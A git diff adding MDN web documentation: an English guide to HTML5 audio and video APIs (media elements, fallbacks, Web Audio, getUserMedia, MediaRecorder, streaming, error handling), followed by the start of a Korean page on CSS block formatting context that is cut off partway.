+<h3 id="HTML_Video">HTML Video</h3>
+
+<pre class="brush: html">&lt;video controls width="640" height="480" poster="initialimage.png" autoplay muted&gt;
+  &lt;source src="videofile.mp4" type="video/mp4"&gt;
+
+  &lt;!-- fallback for browsers that don't suppport mp4 --&gt;
+  &lt;source src="videofile.webm" type="video/webm"&gt;
+
+  &lt;!-- specifying subtitle files --&gt;
+  &lt;track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English"&gt;
+  &lt;track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="Norwegian"&gt;
+
+  &lt;!-- fallback for browsers that don't support video tag --&gt;
+  &lt;a href="videofile.mp4"&gt;download video&lt;/a&gt;
+&lt;/video&gt;</pre>
+
+<p>The code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played. We instruct the video to autoplay but to be muted by default.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The autoplay attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/video">&lt;video&gt; element</a> and <a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a>.</p>
+
+<h3 id="Audio_and_Video_Fallback">Audio and Video Fallback</h3>
+
+<p>You can create a more comprehensive Fallback using Flash. <a href="https://github.com/johndyer/mediaelement/blob/master/build/flashmediaelement.swf">Using flashmediaelement.swf</a> is one way.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+  &lt;!-- fallback for non supporting browsers goes here --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+  &lt;object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"&gt;
+    &lt;param name="movie" value="flashmediaelement.swf" /&gt;
+    &lt;param name="flashvars" value="controls=true&amp;isvideo=false&amp;file=audiofile.mp3" /&gt;
+  &lt;/object&gt;
+&lt;/audio&gt;</pre>
+
+<p>The process is very similar with video — just remember to set <code>isvideo=true</code> in the <code>flashvars value</code> parameters.<br>
+ <br>
+ <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Fallbacks">More options for Fallbacks</a>.</p>
+
+<h3 id="JavaScript_Audio">JavaScript Audio</h3>
+
+<pre class="brush: js">var myAudio = document.createElement('audio');
+
+if (myAudio.canPlayType('audio/mpeg')) {
+  myAudio.setAttribute('src','audiofile.mp3');
+} else if (myAudio.canPlayType('audio/ogg')) {
+  myAudio.setAttribute('src','audiofile.ogg');
+}
+
+myAudio.currentTime = 5;
+myAudio.play();</pre>
+
+<p>We set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 seconds in and attempt to play it.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Play will be ignored by some mobile browsers unless issued by a user-initiated event.</p>
+</div>
+
+<p>It's also possible to feed an {{ htmlelement("audio") }} element a base64 encoded WAV file, allowing to generate audio on the fly:</p>
+
+<pre class="brush: html">&lt;audio id="player" src="data:audio/x-wav;base64,UklGRvC..."&gt;&lt;/audio&gt;</pre>
+
+<p><a href="https://github.com/kripken/speak.js/">Speak.js</a> employs this technique. <a href="http://speak-demo.herokuapp.com">Try the demo</a>.</p>
+
+<h3 id="JavaScript_Video">JavaScript Video</h3>
+
+<pre class="brush: js">var myVideo = document.createElement('video');
+
+if (myVideo.canPlayType('video/mp4')) {
+  myVideo.setAttribute('src','videofile.mp4');
+} else if (myVideo.canPlayType('video/webm')) {
+  myVideo.setAttribute('src','videofile.webm');
+}
+
+myVideo.width = 480;
+myVideo.height = 320;</pre>
+
+<p>We set the source of the video depending on the type of video file the browser supports we then set the width and height of the video.</p>
+
+<h2 id="Web_Audio_API">Web Audio API</h2>
+
+<pre class="brush: js">  var context;
+  var request;
+  var source;
+
+  try {
+    context = new AudioContext();
+    request = new XMLHttpRequest();
+    request.open("GET","http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",true);
+    request.responseType = "arraybuffer";
+
+    request.onload = function() {
+      context.decodeAudioData(request.response, function(buffer) {
+        source = context.createBufferSource();
+        source.buffer = buffer;
+        source.connect(context.destination);
+        // auto play
+        source.start(0); // start was previously noteOn
+      });
+    };
+
+    request.send();
+
+  } catch(e) {
+    alert('web audio api not supported');
+  }</pre>
+
+<p>In this example we retrieve an MP3 file via XHR, load it into a source and play it (<a href="http://jsbin.com/facutone/1/edit?js">Try it for yourself</a>). Find more about Web Audio API basics in <a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a>.</p>
+
+<h2 id="getUserMedia_Stream_API">getUserMedia / Stream API</h2>
+
+<p>It's also possible to retrieve a live stream from a webcam and/or microphone using <code>getUserMedia</code> and the Stream API. This makes up part of a wider technology known as WebRTC (Web Real-Time Communications) and is compatible with the latest versions of Chrome, Firefox and Opera.</p>
+
+<p>To grab the stream from your webcam, first set up a {{htmlelement("video")}} element:</p>
+
+<pre class="brush: html">&lt;video id="webcam" width="480" height="360"&gt;&lt;/video&gt;</pre>
+
+<p>Next, if supported connect the webcam source to the video element:</p>
+
+<pre class="brush: js">if (navigator.mediaDevices) {
+  navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+  .then(function onSuccess(stream) {
+    var video = document.getElementById('webcam');
+    video.autoplay = true;
+    video.srcObject = stream;
+  })
+  .catch(function onError() {
+    alert('There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?');
+  });
+} else {
+  alert('getUserMedia is not supported in this browser.');
+}
+</pre>
+
+<p>To find out more, read our {{domxref("MediaDevices.getUserMedia")}} page.</p>
+
+<h2 id="Mediastream_Recording">Mediastream Recording</h2>
+
+<p>New standards are being rolled out to allow your browser to grab media from your mic or camera using <code>getUserMedia</code> and record it instantly using the new MediaRecorder API. You take the stream you receive from <code>getUserMedia</code>, pass it to a <code>MediaRecorder</code> object, take the resulting output and feed it to your audio or video source*.<br>
+ <br>
+ The main mechanism is outlined below:</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia({audio:true})
+  .then(function onSuccess(stream) {
+    var recorder = new MediaRecorder(stream);
+
+    var data = [];
+    recorder.ondataavailable = function(e) {
+      data.push(e.data);
+    };
+    recorder.start();
+    recorder.onerror = function(e) {
+      throw e.error || new Error(e.name); // e.name is FF non-spec
+    }
+    recorder.onstop = function(e) {
+      var audio = document.createElement('audio');
+      audio.src = window.URL.createObjectURL(new Blob(data));
+    }
+    setTimeout(function() {
+      rec.stop();
+    }, 5000);
+  })
+  .catch(function onError(error) {
+    console.log(error.message);
+  });
+</pre>
+
+<p>See <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> for more details.</p>
+
+<h2 id="Media_Source_Extensions_(MSE)">Media Source Extensions (MSE)</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> is a W3C working draft that plans to extend {{domxref("HTMLMediaElement")}} to allow JavaScript to generate media streams for playback. Allowing JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams.</p>
+
+<h3 id="Encrypted_Media_Extensions_(EME)">Encrypted Media Extensions (EME)</h3>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html">Encrypted Media Extensions</a> is a W3C proposal to extend <code>HTMLMediaElement</code>, providing APIs to control playback of protected content.<br>
+ <br>
+ The API supports use cases ranging from simple clear key decryption to high value video (given an appropriate user agent implementation). License/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies.<br>
+ <br>
+ One of the principle uses of EME is to allow browsers to implement DRM (<a href="http://en.wikipedia.org/wiki/Digital_rights_management">Digital Rights Management</a>), which helps to prevent web-based content (especially video) from being copied.</p>
+
+<h3 id="Adaptive_Streaming">Adaptive Streaming</h3>
+
+<p>New formats and protocols are being rolled out to facilitate adaptive streaming. Adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. Adaptive streaming is often used in conjunction with live streaming where smooth delivery of audio or video is paramount.</p>
+
+<p>The main formats used for adaptive streaming are <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#HLS">HLS</a> and <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#MPEG-DASH">MPEG-DASH</a>. MSE has been designed with DASH in mind. MSE defines byte streams according to <a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/isobmff-byte-stream-format.html">ISOBMFF</a> and <a href="http://en.wikipedia.org/wiki/M2ts">M2TS</a> (both supported in DASH, the latter supported in HLS). Generally speaking, if you are interested in standards, are looking for flexibility, or wish to support most modern browsers, you are probably better off with DASH.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Currently Safari does not support DASH although dash.js will work on newer versions of Safari scheduled for release with OSX Yosemite.</p>
+</div>
+
+<p>DASH also provides a number of profiles including simple onDemand profiles that no preprocessing and splitting up of media files. There are also a number of cloud based services that will convert your media to both HLS and DASH.<br>
+ <br>
+ For further information see <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a>.</p>
+
+<ul>
+</ul>
+
+<h2 id="Customising_Your_Media_Player">Customising Your Media Player</h2>
+
+<p>You may decide that you want your audio or video player to have a consistent look across browsers, or just wish to tweak it to match your site. The general technique for achieving this is to omit the <code>controls</code> attribute so that the default browser controls are not displayed, create custom controls using HTML and CSS, then use JavaScript to link your controls to the audio/video API.</p>
+
+<p>If you need something extra, it's possible to add features that are not currently present in default players, such as playback rate, quality stream switches or even audio spectrums. You can also choose how to make your player responsive — for example you might remove the progress bar under certain conditions.</p>
+
+<p>You may detect click, touch and/or keyboard events to trigger actions such as play, pause and scrubbing. It's often important to remember keyboard controls for user convenience and accessibility.</p>
+
+<p>A quick example — first set up your audio and custom controls in HTML:</p>
+
+<pre class="brush: html">  &lt;audio id="my-audio" src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"&gt;&lt;/audio&gt;
+  &lt;button id="my-control"&gt;play&lt;/button&gt;</pre>
+
+<p>add a bit of JavaScript to detect events to play and pause the audio:</p>
+
+<pre class="brush: js">window.onload = function() {
+
+  var myAudio = document.getElementById('my-audio');
+  var myControl = document.getElementById('my-control');
+
+  function switchState() {
+    if (myAudio.paused == true) {
+      myAudio.play();
+      myControl.innerHTML = "pause";
+    } else {
+      myAudio.pause();
+      myControl.innerHTML = "play";
+    }
+  }
+
+  function checkKey(e) {
+    if (e.keycode == 32 ) { //spacebar
+      switchState();
+    }
+  }
+
+  myControl.addEventListener('click', function() {
+    switchState();
+  }, false);
+
+  window.addEventListener( "keypress", checkKey, false );
+}</pre>
+
+<p>You can <a href="http://jsbin.com/jujeladu/2/edit">try this example out here</a>. For more information, see <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Creating_your_own_custom_audio_player">Creating your own custom audio player</a>.</p>
+
+<h2 id="Other_tips_for_audiovideo">Other tips for audio/video</h2>
+
+<h3 id="Stopping_the_download_of_media">Stopping the download of media</h3>
+
+<p>While stopping the playback of media is as easy as calling the element's <code>pause()</code> method, the browser keeps downloading the media until the media element is disposed of through garbage collection.</p>
+
+<p>Here's a trick that stops the download at once:</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector("#myMediaElementID");
+mediaElement.<code>removeAttribute("src");</code>
+mediaElement.<code>load();</code>
+</pre>
+
+<p>By removing the media element's <code>src</code> attribute and invoking the load() method, you release the resources associated with the video, which stops the network download. You must call <code>load()</code> after removing the attribute, because just removing the <code>src</code> attribute does not invoke the load algorithm. If the <code>&lt;video&gt;</code> element also has <code>&lt;source&gt;</code> element descendants, those should also be removed before calling <code>load()</code>.</p>
+
+<p>Note that just setting the <code>src</code> attribute to an empty string will actually cause the browser to treat it as though you're setting a video source to a relative path. This causes the browser to attempt another download to something that is unlikely to be a valid video.</p>
+
+<h3 id="Seeking_through_media">Seeking through media</h3>
+
+<p>Media elements provide support for moving the current playback position to specific points in the media's content. This is done by setting the value of the <code>currentTime</code> property on the element; see {{ domxref("HTMLMediaElement") }} for further details on the element's properties. Simply set the value to the time, in seconds, at which you want playback to continue.</p>
+
+<p>You can use the element's <code>seekable</code> property to determine the ranges of the media that are currently available for seeking to. This returns a {{ domxref("TimeRanges") }} object listing the ranges of times that you can seek to.</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector('#mediaElementID');
+mediaElement.seekable.start(0);  // Returns the starting time (in seconds)
+mediaElement.seekable.end(0);    // Returns the ending time (in seconds)
+mediaElement.currentTime = 122; // Seek to 122 seconds
+mediaElement.played.end(0);      // Returns the number of seconds the browser has played
+</pre>
+
+<h3 id="Specifying_playback_range">Specifying playback range</h3>
+
+<p>When specifying the URI of media for an {{ HTMLElement("audio") }} or {{ HTMLElement("video") }} element, you can optionally include additional information to specify the portion of the media to play. To do this, append a hash mark ("#") followed by the media fragment description.</p>
+
+<p>A time range is specified using the syntax:</p>
+
+<pre>#t=[starttime][,endtime]</pre>
+
+<p>The time can be specified as a number of seconds (as a floating-point value) or as an hours/minutes/seconds time separated with colons (such as 2:05:01 for 2 hours, 5 minutes, and 1 second).</p>
+
+<p>A few examples:</p>
+
+<dl>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=10,20</span></dt>
+ <dd>Specifies that the video should play the range 10 seconds through 20 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,10.5</span></dt>
+ <dd>Specifies that the video should play from the beginning through 10.5 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,02:00:00</span></dt>
+ <dd>Specifies that the video should play from the beginning through two hours.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=60</span></dt>
+ <dd>Specifies that the video should start playing at 60 seconds and play through the end of the video.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: The playback range portion of the media element URI specification was added to Gecko 9.0 {{ geckoRelease("9.0") }}. At this time, this is the only part of the <a class="external" href="http://www.w3.org/TR/media-frags/" title="http://www.w3.org/TR/media-frags/">Media Fragments URI specification</a> implemented by Gecko, and it can only be used when specifying the source for media elements, and not in the address bar.</p>
+</div>
+
+<h2 id="Error_handling">Error handling</h2>
+
+<p>Starting in Gecko 2.0 {{ geckoRelease("2.0") }}, error handling has been revised to match the latest version of the HTML5 specification. Instead of the <code>error</code> event being dispatched to the media element itself, it now gets delivered to the child {{ HTMLElement("source") }} elements corresponding to the sources resulting in the error.</p>
+
+<p>This lets you detect which sources failed to load, which may be useful. Consider this HTML:</p>
+
+<pre class="brush: html">&lt;video&gt;
+&lt;source id="mp4_src"
+  src="video.mp4"
+  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'&gt;
+&lt;/source&gt;
+&lt;source id="3gp_src"
+  src="video.3gp"
+  type='video/3gpp; codecs="mp4v.20.8, samr"'&gt;
+&lt;/source&gt;
+&lt;source id="ogg_src"
+  src="video.ogv"
+  type='video/ogv; codecs="theora, vorbis"'&gt;
+&lt;/source&gt;
+&lt;/video&gt;</pre>
+
+<p>Since Firefox doesn't support MP4 and 3GP on some platforms due to their patent-encumbered nature, the {{ HTMLElement("source") }} elements with the IDs "mp4_src" and "3gp_src" will receive <code>error</code> events before the Ogg resource is loaded. The sources are tried in the order in which they appear, and once one loads successfully, the remaining sources aren't tried at all.</p>
+
+<h3 id="Checking_whether_the_browser_supports_the_supplied_formats">Checking whether the browser supports the supplied formats</h3>
+
+<p>Use the following verified sources within your audio and video elements to check support.</p>
+
+<ul>
+ <li>Audio MP3 (<code>type="audio/mpeg"</code>): <a href="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3">http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3</a> (<a href="http://jsbin.com/gekatoge/1/edit">play the MP3 audio live</a>.)</li>
+ <li>Audio MP4 (<code>type="audio/mp4"</code>): <a href="http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a">http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a</a> (<a href="http://jsbin.com/gekatoge/2/edit">play the MP4 audio live</a>.)</li>
+ <li>Audio Ogg (<code>type="audio/ogg"</code>): <a href="http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg">http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg</a> (<a href="http://jsbin.com/gekatoge/4/edit">play the OGG audio live</a>.)</li>
+ <li>Video MP4 (<code>type="video/mp4"</code>): <a href="http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v">http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v</a> (<a href="http://jsbin.com/gekatoge/5/edit">play the MP4 video live</a>.)</li>
+ <li>Video WebM (<code>type="video/webm"</code>): <a href="http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm">http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm</a> (<a href="http://jsbin.com/gekatoge/6/edit">play the WebM video live</a>.)</li>
+ <li>Video Ogg (<code>type="video/ogg"</code>): <a href="http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv">http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv</a> (<a href="http://jsbin.com/gekatoge/7/edit">play the OGG video live</a>.)</li>
+</ul>
+
+<p>If these don't play then the browser you are testing doesn't support the given format. Consider using a different format or using a fallback.<br>
+ <br>
+ If these work but the files you are supplying don't, there are two possible issues:</p>
+
+<h4 id="1._The_media_server_is_not_delivering_the_correct_mime_types_with_the_file">1. The media server is not delivering the correct mime types with the file</h4>
+
+<p>Although this is usually supported, you may need to add the following to your media server's <code>.htaccess</code> file.</p>
+
+<pre># AddType TYPE/SUBTYPE EXTENSION
+
+AddType audio/mpeg mp3
+AddType audio/mp4 m4a
+AddType audio/ogg ogg
+AddType audio/ogg oga
+
+AddType video/mp4 mp4
+AddType video/mp4 m4v
+AddType video/ogg ogv
+AddType video/webm webm
+AddType video/webm webmv</pre>
+
+<h4 id="2._Your_files_have_been_encoded_incorrectly">2. Your files have been encoded incorrectly</h4>
+
+<p>Your files may have been encoded incorrectly — try encoding using one of the following tools, which are proven to be pretty reliable:</p>
+
+<ul>
+ <li><a href="http://audacity.sourceforge.net/">Audacity</a> — Free Audio Editor and Recorder</li>
+ <li><a href="http://www.getmiro.com/">Miro</a> — Free, open-source music and video player</li>
+ <li><a href="http://handbrake.fr/">Handbrake</a> — Open Source Video Transcoder</li>
+ <li><a href="http://firefogg.org/">Firefogg</a> — Video and Audio encoding for Firefox</li>
+ <li><a href="https://www.ffmpeg.org/">FFmpeg2</a> — Comprehensive command line encoder</li>
+ <li><a href="https://libav.org/">Libav</a> — Comprehensive command line encoder</li>
+ <li><a href="http://m.vid.ly/">Vid.ly</a> — Video player,transcoding and delivery</li>
+ <li><a href="https://archive.org/">Internet Archive</a> — Free transcoding and storage</li>
+</ul>
+
+<h3 id="Detecting_when_no_sources_have_loaded">Detecting when no sources have loaded</h3>
+
+<p>To detect that all child {{ HTMLElement("source") }} elements have failed to load, check the value of the media element's <code>networkState</code> attribute. If this is <code>HTMLMediaElement.NETWORK_NO_SOURCE</code>, you know that all the sources failed to load.</p>
+
+<p>If at that point you add another source, by inserting a new {{ HTMLElement("source") }} element as a child of the media element, Gecko attempts to load the specified resource.</p>
+
+<h3 id="Showing_fallback_content_when_no_source_could_be_decoded">Showing fallback content when no source could be decoded</h3>
+
+<p>Another way to show the fallback content of a video, when none of the sources could be decoded in the current browser, is to add an error handler on the last source element. Then you can replace the video with its fallback content:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="dynamicsearch.mp4" type="video/mp4"&gt;&lt;/source&gt;
+  &lt;a href="dynamicsearch.mp4"&gt;
+    &lt;img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS"&gt;
+  &lt;/a&gt;
+  &lt;p&gt;Click image to play a video demo of dynamic app search&lt;/p&gt;
+&lt;/video&gt;
+
+</pre>
+
+<pre class="brush: js">var v = document.querySelector('video'),
+    sources = v.querySelectorAll('source'),
+    lastsource = sources[sources.length-1];
+lastsource.addEventListener('error', function(ev) {
+  var d = document.createElement('div');
+  d.innerHTML = v.innerHTML;
+  v.parentNode.replaceChild(d, v);
+}, false);
+</pre>
+
+<h2 id="AudioVideo_JavaScript_Libraries">Audio/Video JavaScript Libraries</h2>
+
+<p>A number of audio and video JavaScript libaries exist. The most popular libraries allow you to choose a consistent player design over all browsers and provide a fallback for browsers that don't support audio and video natively. Fallbacks often use Adobe Flash or Microsoft Silverlight plugins. Other functionality such as the track element for subtitles can also be provided through media libraries.</p>
+
+<h3 id="Audio_only">Audio only</h3>
+
+<ul>
+ <li><a href="http://www.schillmania.com/projects/soundmanager2/">SoundManager</a></li>
+ <li><a href="https://521dimensions.com/open-source/amplitudejs">AmplitudeJS</a></li>
+ <li><a href="https://howlerjs.com/">HowlerJS</a></li>
+</ul>
+
+<h3 id="Video_only">Video only</h3>
+
+<ul>
+ <li><a href="https://flowplayer.org/">flowplayer</a>: Gratis with a flowplayer logo watermark. Open source (GPL licensed.)</li>
+ <li><a href="http://www.jwplayer.com">JWPlayer</a>: Requires registration to download. Open Source Edition (Creative Commons License.)</li>
+ <li><a href="http://www.sublimevideo.net/">SublimeVideo</a>: Requires registration. Form based set up with domain specific link to CDN hosted library.</li>
+ <li><a href="http://www.videojs.com/">Video.js</a>: Gratis and Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h3 id="Audio_and_Video">Audio and Video</h3>
+
+<ul>
+ <li><a href="http://jPlayer.org">jPlayer</a>: Gratis and Open Source (MIT Licensed.)</li>
+ <li><a href="http://mediaelementjs.com/">mediaelement.js</a>: Gratis and Open Source (MIT Licensed.)</li>
+</ul>
+
+<h3 id="Web_Audio_API_2">Web Audio API</h3>
+
+<ul>
+ <li><a href="https://github.com/cwilso/AudioContext-MonkeyPatch">AudioContext monkeypatch</a>: A polyfill for older versions of the Web Audio API; Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h2 id="Basic_tutorials">Basic tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a></dt>
+ <dd>A guide to creating a basic cross browser video player using the {{ htmlelement ("video") }} element.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">Video player styling basics</a></dt>
+ <dd>With the cross-browser video player put in place in the previous article, this article now looks at providing some basic, reponsive styling for the player.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics">Cross-browser audio basics</a></dt>
+ <dd>
+ <div>
+ <p>This article provides a basic guide to creating an HTML5 audio player that works cross browser, with all the associated attributes, properties and events explained, and a quick guide to custom controls created using the Media API.</p>
+ </div>
+ </dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/buffering_seeking_time_ranges">Media buffering, seeking, and time ranges</a></dt>
+ <dd>Sometimes it's useful to know how much {{ htmlelement("audio") }} or {{ htmlelement("video") }} has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. This article discusses how to build a buffer/seek bar using <a href="/en-US/docs/Web/API/TimeRanges">TimeRanges</a>, and other features of the media API.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate explained</a></dt>
+ <dd>The <code>playbackRate</code> property allows us to change the speed or rate at which a piece of web audio or video is playing. This article explains it in detail.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></dt>
+ <dd>Explains the basics of using the Web Audio API to grab, manipulate and play back an audio source.</dd>
+</dl>
+
+<h2 id="Streaming_media_tutorials">Streaming media tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a></dt>
+ <dd>Live streaming technology is often employed to relay live events such as sports, concerts and more generally TV and Radio programmes that are output live. Often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. This is a fairly complex and nascent subject with a lot of variables, so in this article we'll introduce you to the subject and let you know how you can get started.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Setting_up_adaptive_streaming_media_sources">Setting up adaptive streaming media sources</a></dt>
+ <dd>Let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an HTML5 media element. How would you do that? This article explains how, looking at two of the most common formats: MPEG-DASH and HLS (HTTP Live Streaming.)</dd>
+ <dt><a href="/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video">DASH Adaptive Streaming for HTML 5 Video</a></dt>
+ <dd>Details how to set up adaptive streaming using DASH and WebM.</dd>
+</dl>
+
+<h2 id="Advanced_tutorials">Advanced tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></dt>
+ <dd>This article explains how to add captions and subtitles to HTML5 {{ htmlelement("video") }}, using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Video_Text_Tracks_Format" title="WebVTT is a format for displaying timed text tracks (e.g. subtitles) with the &lt;track> element. The primary purpose of WebVTT files is to add subtitles to a &lt;video>.">Web_Video_Text_Tracks_Format</a> and the {{ htmlelement("track") }} element.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser" title="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser">Writing Web Audio API code that works in every browser</a></dt>
+ <dd>A guide to writing cross browser Web Audio API code.</dd>
+ <dt><a href="/en-US/Apps/Developing/Manipulating_media/H.264_support_in_Firefox">H.264 support in Firefox</a></dt>
+ <dd>This article explains the state of support for the H.264 video format in Firefox/Firefox OS, including code examples, tips and tricks.</dd>
+ <dt><a href="https://hacks.mozilla.org/2014/06/easy-audio-capture-with-the-mediarecorder-api/">Easy audio capture with the MediaRecorder API</a></dt>
+ <dd>Explains the basics of using the MediaRecorder API to directly record a media stream.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS versions 1.3 and above support the <a href="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol" title="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol">RTSP</a> protocol for streaming video delivery. A fallback solution for older versions would be to use <code>&lt;video&gt;</code> along with a suitable format for Gecko (such as WebM) to serve fallback content. More information will be published on this in good time.</p>
+</div>
+
+<h2 id="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The video element</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Media_events">Media events API</a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaSource">MediaSource API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia</a></li>
+</ul>
diff --git a/files/ko/web/guide/css/block_formatting_context/index.html b/files/ko/web/guide/css/block_formatting_context/index.html
new file mode 100644
index 0000000000..3a46d31f0a
--- /dev/null
+++ b/files/ko/web/guide/css/block_formatting_context/index.html
@@ -0,0 +1,198 @@
+---
+title: 블록 서식 맥락
+slug: Web/Guide/CSS/Block_formatting_context
+tags:
+  - CSS
+  - Guide
+  - NeedsBeginnerUpdate
+  - NeedsExample
+  - Web
+translation_of: Web/Guide/CSS/Block_formatting_context
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong>블록 서식 맥락</strong>(block format context)은 웹 페이지를 렌더링하는 시각적 CSS의 일부로서, 블록 박스의 레이아웃이 발생하는 지점과 플로팅 요소의 상호작용 범위를 결정하는 범위입니다.</p>
+
+<p>블록 서식 맥락은 다음과 같은 경우에 생성됩니다.</p>
+
+<ul>
+ <li>문서의 루트 요소({{htmlelement("html")}}).</li>
+ <li>플로팅 요소({{cssxref("float")}}이 <code>none</code>이 아님).</li>
+ <li>절대 위치를 지정한 요소({{cssxref("position")}}이 <code>absolute</code> 또는 <code>fixed</code>).</li>
+ <li>인라인 블록({{cssxref("display")}}가 <code>inline-block</code>).</li>
+ <li>표 칸({{cssxref("display")}}가 <code>table-cell</code>, HTML 표 칸의 기본값).</li>
+ <li>표 주석({{cssxref("display")}}가 <code>table-caption</code>, HTML 표 주석의 기본값).</li>
+ <li>{{cssxref("display")}}가 <code>table</code>, <code>table-row</code>, <code>table-row-group</code>, <code>table-header-group</code>, <code>table-footer-group</code> (HTML 표에서, 각각 표 전체, 행, 본문, 헤더, 푸터의 기본값) 또는 <code>inline-table</code>인 요소가 암시적으로 생성한 무명 칸.</li>
+ <li>{{cssxref("overflow")}}가 <code>visible</code>이 아닌 블록 요소.</li>
+ <li>{{cssxref("display")}}가 <code>flow-root</code>.</li>
+ <li>{{cssxref("contain")}}이 <code>layout</code>, <code>content</code>, <code>paint</code>.</li>
+ <li>스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 플렉스 항목({{cssxref("display")}}가 <code>flex</code> 또는 <code>inline-flex</code>인 요소의 바로 아래 자식)</li>
+ <li>스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 그리드 항목({{cssxref("display")}}가 <code>grid</code> 또는 <code>inline-grid</code>인 요소의 바로 아래 자식)</li>
